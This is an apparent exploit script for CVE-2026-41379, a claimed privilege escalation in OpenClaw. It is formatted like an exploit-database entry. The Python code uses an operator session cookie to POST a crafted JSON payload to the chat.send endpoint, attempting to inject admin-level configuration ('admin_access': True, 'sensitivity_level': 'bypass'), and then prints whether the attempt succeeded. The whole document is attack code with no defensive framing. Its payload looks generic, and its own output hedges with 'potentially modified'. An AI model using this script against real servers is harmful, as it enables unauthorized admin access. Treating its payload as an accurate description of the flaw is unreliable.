CVE-2026-41379

import requests import json # Exploit Title: OpenClaw Privilege Escalation via chat.send # Date: 2026-04-28 # Exploit Author: Analyst # Vendor Homepage: https://openclaw.example.com # Version: < 2026.3.28 TARGET_URL = "http://target-openclaw-server/api/chat.send" SESSION_COOKIE = "operator_session_cookie_with_write_privs" # The payload attempts to inject admin-level configuration modifications # into the chat.send endpoint. payload = { "recipient": "admin", "message": "Hello", "malicious_config": { "talk_voice": { "persistence": { "admin_access": True, "sensitivity_level": "bypass" } } } } headers = { "Content-Type": "application/json", "Cookie": f"sessionid={SESSION_COOKIE}" } try: response = requests.post(TARGET_URL, data=json.dumps(payload), headers=headers) if response.status_code == 200: print("[+] Exploit successful! Admin voice configuration potentially modified.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {e}")

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